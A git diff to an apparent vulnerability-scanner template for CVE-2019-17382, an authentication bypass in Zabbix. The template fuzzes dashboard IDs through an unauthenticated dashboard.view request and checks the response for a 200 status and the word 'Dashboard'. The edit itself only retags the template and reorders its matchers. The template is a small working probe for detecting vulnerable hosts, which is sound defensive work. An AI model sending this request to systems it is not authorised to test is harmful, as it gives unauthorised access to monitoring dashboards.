diff --git a/cves/2019/CVE-2019-17382.yaml b/cves/2019/CVE-2019-17382.yaml index bdf84fc6c8..e7ef6a6f22 100644 --- a/cves/2019/CVE-2019-17382.yaml +++ b/cves/2019/CVE-2019-17382.yaml @@ -13,14 +13,13 @@ info: cvss-score: 9.1 cve-id: CVE-2019-17382 cwe-id: CWE-639 - tags: cve,cve2019,zabbix,fuzz,bypass,login + tags: cve,cve2019,zabbix,fuzz,auth-bypass,login requests: - raw: - | GET /zabbix.php?action=dashboard.view&dashboardid={{ids}} HTTP/1.1 Host: {{Hostname}} - Accept-Language: en-US,en;q=0.9 payloads: ids: helpers/wordlists/numbers.txt @@ -29,13 +28,13 @@ requests: stop-at-first-match: true matchers-condition: and matchers: + - type: word + words: + - "Dashboard" - type: status status: - 200 - - type: word - words: - - "Dashboard" # Enhanced by mp on 2022/05/16